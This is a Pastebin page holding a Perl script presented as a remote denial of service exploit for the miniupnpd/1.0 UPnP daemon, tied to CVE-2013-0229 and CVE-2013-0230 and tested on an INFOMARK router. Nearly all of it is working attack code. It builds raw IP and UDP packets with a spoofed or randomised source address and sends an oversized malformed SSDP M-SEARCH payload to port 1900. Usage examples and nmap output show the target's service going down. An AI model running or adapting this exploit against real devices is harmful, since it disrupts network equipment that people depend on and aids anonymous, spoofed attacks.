hackerscommunity

miniupnpd/1.0 remote denial of service exploit

Jul 14th, 2015
487
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 7.62 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  miniupnpd/1.0 remote denial of service exploit
  4. #
  5. #  Copyright 2015 (c) Todor Donev
  6. #  http://www.ethical-hacker.org/
  7. #  https://www.facebook.com/ethicalhackerorg
  8. #
  9. #  The SSDP protocol can discover Plug & Play devices,
  10. #  with uPnP (Universal Plug and Play). SSDP is HTTP
  11. #  like protocol and work with NOTIFY and M-SEARCH
  12. #  methods.  
  13. #
  14. #  See also:
  15. #  CVE-2013-0229
  16. #  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0229  
  17. #  CVE-2013-0230
  18. #  http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0230
  19. #  
  20. #  Tested on
  21. #  Device Name :            IMW-C920W
  22. #  Device Manufacturer :    INFOMARK (http://infomark.co.kr)
  23. #  
  24. #  These devices are commonly used by Max Telecom, Bulgaria
  25. #
  26. #  Disclaimer:
  27. #  This or previous program is for Educational
  28. #  purpose ONLY. Do not use it without permission.
  29. #  The usual disclaimer applies, especially the
  30. #  fact that Todor Donev is not liable for any
  31. #  damages caused by direct or indirect use of the
  32. #  information or functionality provided by these
  33. #  programs. The author or any Internet provider
  34. #  bears NO responsibility for content or misuse
  35. #  of these programs or any derivatives thereof.
  36. #  By using these programs you accept the fact
  37. #  that any damage (dataloss, system crash,
  38. #  system compromise, etc.) caused by the use
  39. #  of these programs is not Todor Donev's
  40. #  responsibility.
  41. #  
  42. #  Use at your own risk!
  43. #
  44. #  See also:
  45. #  SSDP Reflection DDoS Attacks
  46. #  http://tinyurl.com/mqwj6xt
  47. #
  48. #######################################
  49. #
  50. # # perl miniupnpd.pl
  51. #
  52. # [  miniupnpd/1.0 remote denial of service exploit ]
  53. # [ =============================================== ]
  54. # [  Usage:                    
  55. # [ ./miniupnpd.pl <victim address> <spoofed address>
  56. # [  Example:
  57. # [ perl miniupnpd.pl 192.168.1.1 133.73.13.37
  58. # [  Example:
  59. # [ perl miniupnpd.pl 192.168.1.1
  60. # [ =============================================== ]
  61. # [ 2015  <[email protected]> Todor Donev  2015 ]
  62. #
  63. # # nmap -sU 192.168.1.1 -p1900 --script=upnp-info
  64. #
  65. # Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
  66. # Nmap scan report for 192.168.1.1
  67. # Host is up (0.00078s latency).
  68. # PORT     STATE SERVICE
  69. # 1900/udp open  upnp
  70. # | upnp-info:
  71. # | 192.168.1.1
  72. # |     Server: 1.0 UPnP/1.0 miniupnpd/1.0
  73. # |     Location: http://192.168.1.1:5000/rootDesc.xml
  74. # |       Webserver: 1.0 UPnP/1.0 miniupnpd/1.0
  75. # |       Name: INFOMARK Router
  76. # |       Manufacturer: INFOMARK
  77. # |       Model Descr: INFOMARK Router
  78. # |       Model Name: INFOMARK Router
  79. # |       Model Version: 1
  80. # |       Name: WANDevice
  81. # |       Manufacturer: MiniUPnP
  82. # |       Model Descr: WAN Device
  83. # |       Model Name: WAN Device
  84. # |       Model Version: 20070228
  85. # |       Name: WANConnectionDevice
  86. # |       Manufacturer: MiniUPnP
  87. # |       Model Descr: MiniUPnP daemon
  88. # |       Model Name: MiniUPnPd
  89. # |_      Model Version: 20070228
  90. # MAC Address: 00:00:00:00:00:00 (Infomark Co.)           // CENSORED
  91. #  
  92. # Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
  93. #
  94. # # perl miniupnpd.pl 192.168.1.1
  95. #
  96. # [  miniupnpd/1.0 remote denial of service exploit ]
  97. # [ =============================================== ]
  98. # [ Target: 192.168.1.1
  99. # [ Send malformed SSDP packet..
  100. #
  101. # # nmap -sU 192.168.1.1 -p1900
  102. #  
  103. # Starting Nmap 5.51 ( http://nmap.org ) at 0000-00-00 00:00 EEST
  104. # Nmap scan report for 192.168.1.1
  105. # Host is up (0.00085s latency).
  106. # PORT     STATE  SERVICE
  107. # 1900/udp closed upnp                                    // GOOD NIGHT, SWEET PRINCE.... :D
  108. # MAC Address: 00:00:00:00:00:00 (Infomark Co.)           // CENSORED
  109. #  
  110. # Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds
  111. #
  112. #
  113. # Special thanks to HD Moore ..
  114. #
  115.  
  116. use Socket;
  117.  
  118. if ( $< != 0 ) {
  119.    print "Sorry, must be run as root!\n";
  120.    print "This script use RAW Socket.\n";
  121.    exit;
  122. }
  123.  
  124. my $ip_src = (gethostbyname($ARGV[1]))[4];
  125. my $ip_dst = (gethostbyname($ARGV[0]))[4];
  126.  
  127. print "\n[  miniupnpd/1.0 remote denial of service exploit ]\n";
  128. print "[ =============================================== ]\n";
  129. select(undef, undef, undef, 0.40);
  130.  
  131. if (!defined $ip_dst) {
  132.     print "[  Usage:\n[ ./$0 <victim address> <spoofed address>\n";
  133.     select(undef, undef, undef, 0.55);
  134.     print "[  Example:\n[ perl $0 192.168.1.1 133.73.13.37\n";
  135.     print "[  Example:\n[ perl $0 192.168.1.1\n";
  136.     print "[ =============================================== ]\n";
  137.     print "[ 2015  <todor.donev\@gmail.com> Todor Donev  2015 ]\n\n";
  138.     exit;
  139. }
  140. socket(RAW, PF_INET, SOCK_RAW, 255) or die $!;
  141. setsockopt(RAW, 0, 1, 1) or die $!;
  142. main();
  143.  
  144.     # Main program
  145. sub main {
  146.     my $packet;
  147.      
  148.     $packet = iphdr();
  149.     $packet .= udphdr();
  150.     $packet .= payload();
  151.     # b000000m...
  152.     send_packet($packet);
  153. }
  154.  
  155.     # IP header (Layer 3)
  156. sub iphdr {
  157.     my $ip_ver          = 4;                            # IP Version 4            (4 bits)
  158.     my $iphdr_len       = 5;                            # IP Header Length        (4 bits)
  159.     my $ip_tos          = 0;                            # Differentiated Services (8 bits)
  160.     my $ip_total_len    = $iphdr_len + 20;              # IP Header Length + Data (16 bits)
  161.     my $ip_frag_id      = 0;                            # Identification Field    (16 bits)
  162.     my $ip_frag_flag    = 000;                          # IP Frag Flags (R DF MF) (3 bits)
  163.     my $ip_frag_offset  = 0000000000000;                # IP Fragment Offset      (13 bits)
  164.     my $ip_ttl          = 255;                          # IP TTL                  (8 bits)
  165.     my $ip_proto        = 17;                           # IP Protocol             (8 bits)
  166.     my $ip_checksum     = 0;                            # IP Checksum             (16 bits)
  167.     my $ip_src=gethostbyname(&randip) if !$ip_src;      # IP Source           (32 bits)
  168.     # IP Packet construction
  169.     my $iphdr   = pack(
  170.                 'H2 H2 n n B16 h2 c n a4 a4',
  171.                 $ip_ver . $iphdr_len, $ip_tos, $ip_total_len,
  172.                 $ip_frag_id, $ip_frag_flag . $ip_frag_offset,
  173.                 $ip_ttl, $ip_proto, $ip_checksum,
  174.                 $ip_src, $ip_dst
  175.             );
  176.  
  177.         return $iphdr;
  178. }
  179.  
  180.     # UDP header (Layer 4)
  181. sub udphdr {
  182.     my $udp_src_port    = 31337;                     # UDP Sort Port           (16 bits) (0-65535)
  183.     my $udp_dst_port    = 1900;                      # UDP Dest Port           (16 btis) (0-65535)
  184.     my $udp_len     = 8 + length(payload());     # UDP Length              (16 bits) (0-65535)
  185.     my $udp_checksum    = 0;                         # UDP Checksum            (16 bits) (XOR of header)
  186.  
  187.     # UDP Packet
  188.         my $udphdr      = pack(
  189.                 'n n n n',
  190.                 $udp_src_port, $udp_dst_port,
  191.                 $udp_len, $udp_checksum
  192.                 );
  193.         return $udphdr;
  194. }
  195.  
  196.     # Create SSDP Bomb
  197. sub payload {
  198.      my $data;
  199.      my $head;
  200.      $data = "M-SEARCH * HTTP\/1.1\\r\\n";
  201.      for (0..1260) { $data .= chr( int(rand(25) + 65) ); }
  202.      my $payload = pack('a' . length($data), $data);
  203. return $payload;
  204. }
  205.  
  206.     # Generate random source ip address
  207. sub randip () {
  208. srand(time() ^ ($$ + ($$ << 15)));
  209.      my $ipdata;
  210.         $ipdata     = join ('.', (int(rand(255)), int(rand(255)), int(rand(255)), int(rand(255)))), "\n";
  211.      my $ipsrc      = pack('A' . length($ipdata), rand($ipdata));
  212. return $ipdata;
  213. }
  214.  
  215.     # Send the malformed packet
  216. sub send_packet {
  217.     print "[ Target: $ARGV[0]\n";
  218.     select(undef, undef, undef, 0.30);
  219.     print "[ Send malformed SSDP packet..\n\n";
  220.     send(RAW, $_[0], 0, pack('Sna4x8', PF_INET, 60, $ip_dst)) or die $!;
  221. }
Add Comment
Please, Sign In to add comment